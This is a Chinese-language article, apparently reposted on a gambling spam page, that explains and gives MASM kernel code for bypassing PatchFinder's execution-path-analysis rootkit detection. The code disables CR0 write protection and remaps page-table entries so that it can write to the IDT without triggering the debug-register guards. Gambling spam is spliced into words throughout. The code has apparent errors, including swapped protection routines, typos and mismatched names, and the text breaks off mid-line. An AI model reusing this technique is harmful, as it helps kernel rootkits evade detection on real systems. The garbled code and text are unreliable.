快捷搜索:  as  2018  FtCWSyGV  С˵  test  xxx  Ψһ  w3viyKQx

澳门新葡亰平台游戏b_龟发之家论坛



[先容]

PatchFinder是一个设计很奇妙的法度榜样,基于EPA(履行路径阐发)技澳门新葡亰平台游戏b巧用来检测侵入内核的Rootkit。附录1和2可以让你懂得它是若何事情的。这篇文章将供给一种绕开EPA的措施。

[措施]

EPA基于Intel处置惩罚器的单步模式,应用中断描述符表(IDT)的0x01进口。为了防止Rootkit改动这个进口,它应用调试寄存器(DR0、DR1)来保护调试处置惩罚法度榜样(很不错的主见)。由DR0寄存器保护0x1进口,而由DR1寄存器保护中断处置惩罚法度榜样。(注1:)

然则,让我们再读一遍Inter Manual [3]:“每个调试地址寄存器(DR0到DR3)保存32位的断点的线性地址”。留意:线性地址!在Windows 2000/XP下,经由过程分页机制把线性地址转换为物理地址。假设IDT的基地址是在0x8003F400,保存在IDTR中,那么IDT的0x01进口地址便是0x8003F408。Intel有关IDTR的阐明:“基地址标清楚明了IDT的0x00进口地址。”WIndows 2000/XP下由CR3寄存器指向的页目录被澳门新葡亰平台游戏b映射到线性地址0xC0300000。线性地址是由目录、表和偏移组成,经由过程分页机制我们将0x8003F408转换为物理地址便是0x03F00(由实验中得来)。现在我们要做的便是创建一个缓冲区,获取指向缓冲区的指针并改动页目录和页表使这个缓冲区指向物理地址0x03F00。然后,向这个缓冲区中写入的器械就会写入IDT,并且不会触发PatchFinder的保护机制。调试寄存器是根本无法保护内存的,由于它们无法保护物理内存。

[源代码]

这里是源代码,由MASM v8.0汇编。由于我爱好汇编说话:-)完全的源代码可以在www.rootkit.com找到。

;---定义IDTR布局-------

DIDTR STRUCT    ;IDTR

dLIMIT  WORD  ?

ibase  DWORD  ?

DIDTR ENDS

;-----------------------

ByepassIDTProtection PROC

LOCAL dbgHandler:DWORD

LOCAL myIDT:DIDTR

LOCAL idtbase:DWORD

LOCAL idtbaseoff:DWORD

LOCAL idtPDE:DWORD

LOCAL idtPDEaddr:DWORD

LOCAL idtPTE:DWORD

LOCAL idtPTEaddr:DWORD

LOCAL varbase:DWORD

LOCAL varbaseoff:DWORD

LOCAL varPDE:DWORD

LOCAL varPDEaddr:DWORD

LOCAL varPTE:DWORD

LOCAL varPTEaddr:DWORD

LOCAL diffoffset:DWORD

pushad

;分配一个页大年夜小的内存(从非分页池平分配)

invoke ExAllocatePool,NonPagedPoolMustSucceed,01000h

mov varbase,eax

cli        ;记得规复

invoke DisablePageProtection  ;对XP,Regmon应用的一个很老的技术

sidt myIDT

mov eax,myI澳门新葡亰平台游戏bDT.ibase

add eax,08h

mov idtbase,eax      ;idtbase = IDT的基地址 + 8字节

and eax,0FFC00000h    ;获取IDT地址的目录索引

shr eax,22

shl eax,2      ;乘与4

mov ebx,0C0300000h    ;0C0300000 = 页目录

add ebx,eax      ;ebx = [页目录 + 目录索引*4]

mov idtPDEaddr,ebx

mov eax,[ebx]

mov idtPDE,eax      ;eax = IDT地址的页目录进口(PDE)

mov eax,idtbase

and eax,oFFFh      ;获取IDT地址的低12位 =   页内偏移        mov idtbaseoff,eax

mov eax,idtbase

shr eax,12      ;获取IDT地址的高12位

shl eax,2      ;乘与4

mov ebx,0C0000000h    ;进程页表映射在0xC0000000开始的4MB空间中

add ebx,eax

mov idtPTEaddr,eax    ;IDT地址的PTE的地址

mov eax,[ebx]

mov idtPTE,eax      ;取该地址的PTE

mov eax,varbase

and eax,0FFC00000h    ;获取varbase的页目录索引

shr eax,22

shl eax,2

mov ebx,0C0300000h

add ebx,eax

mov varPDEaddr,ebx

mov eax,[ebx]

mov varPDE,eax

mov eax,varbase

and eax,0FFFh

mov varbaseoff,eax

mov eax,varbase

shr eax,12

shl eax,2

mov ebx,0C0000000h

add ebx,eax

mov varPTEaddr,ebx

mov eax,[ebx]

mov varPTE,eax

mov eax,varPDEaddr    ;改动PDE为和IDT0x01的一样

mov ebx,idtPDE

mov [eax],ebx

mov eax,varPTEaddr    ;改动PTE为和IDT0x01的一样

mov ebx,idtPTE

mov [eax],ebx

mov ebx,idtbaseoff    ;修正页内偏移

mov eax,varbaseoff

sub ebx,eax

;现在我们可以应用线性地址向IDT的0x01描述符内写入器械而不会触发调试寄存器

mov eax,varbase

mov dword ptr [eax+ebx],0DEADBEEFh

mov eax,varPDEaddr    ;规复原本的值

mov ebx,varPDE

mov [eax],ebx

mov eax,varPTEaddr    ;规复原本的值

mov ebx,varPTE

mov [eax],ebx

invoke EnablePageProtection  ;规复CR0寄存器的WP标志

sti

popad

ret

BypassIDTProtection ENDP

;::::::::::::::::::::::::::::::::::::::::

EnablePageProtection PROC

push eax

mov eax,CR0

and eax,0FFFEFFFFh

mov CR0,eax

pop eax

ret

EnablePageProtection ENDP

;::::::::::::::::::::::::::::::::::::::::

DisablePageProtection PROC

push eax

mov eax,CR0

or eax,NOT 0FFFEFFFFh

mov CR0,eax

pop eax

ret

DisablePageProtection ENDP

;:::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::

[Rootkit的未来]

很不幸,这种措施使EPA变得没用。假如微软不改变它的安然布局,没有一种法子能在未来阻拦rookits。未来的rootkit会在分页机制上大年夜有作为,这种有无限种可能性。一旦进入Ring 0,那么永世在Ring 0。

[参考]

[1] Joanna Rutkowska,Advanced Windows 2000 Rootkit Detection(高档Rootkit检测技巧)

[2] Joanna Rutkowska,Detecting Windows Server Compromises with PatchFinder2

[3] IA32 Intel Architeture Softwares Developer's Manual, vol 1-3

注1:

这个图无法画出,便是画出了读者也不必然能看得明白(由于画的其实太简单了-_-)。我在这里弥补一下用调试寄存器澳门新葡亰平台游戏b保护地址的道理。首先是DR0-DR4这4个调试寄存器保存了4个线性地址,然后经由过程DR7寄存器的相关位并反省DR6寄存器的相关位来对这4个地址进行相关操作。参考以下代码:

#define DB_PROT_EXEC 0

#define DB_PROT_WRITE 1

#define DB_PROT_RW  3

#define DB_DR0 0

#define DB_DR1 1

#define DB_DR2 2

#define DB_DR3 3

#define DB_LEN_1B 0

#define DB_LEN_2B 1

#define DB_LEN_4B 3

int dbProtect (int reg, int addr, int len, int protection) {

unsigned int dr7mask;

switch (reg) {

case 0:

__asm {

mov eax, addr;

mov DR0, eax;

}

break;

case 1:

__asm {

mov eax, addr;

mov DR1, eax;

}

break;

case 2:

__asm {

mov eax, addr;

mov DR2, eax;

}

break;

case 3:

__asm {

mov eax, addr;

mov DR3, eax;

}

break;

}

dr7mask = 0x2<<(reg*2);

dr7mask |= (( (len<<2) + protection) << (16+(4*reg)));

__asm {

mov eax, DR7;

or eax, dr7mask;

mov DR7, eax;

}

return 1;

}

int 澳门新葡亰平台游戏bdbSetGeneralProtection () {

__asm {

mov eax, DR7;

or eax, 0x1000;

mov DR7, eax;

}

return 1;

}

然后在中断处置惩罚法度榜样中还要加入下面几句代码:

mo

您可能还会对下面的文章感兴趣: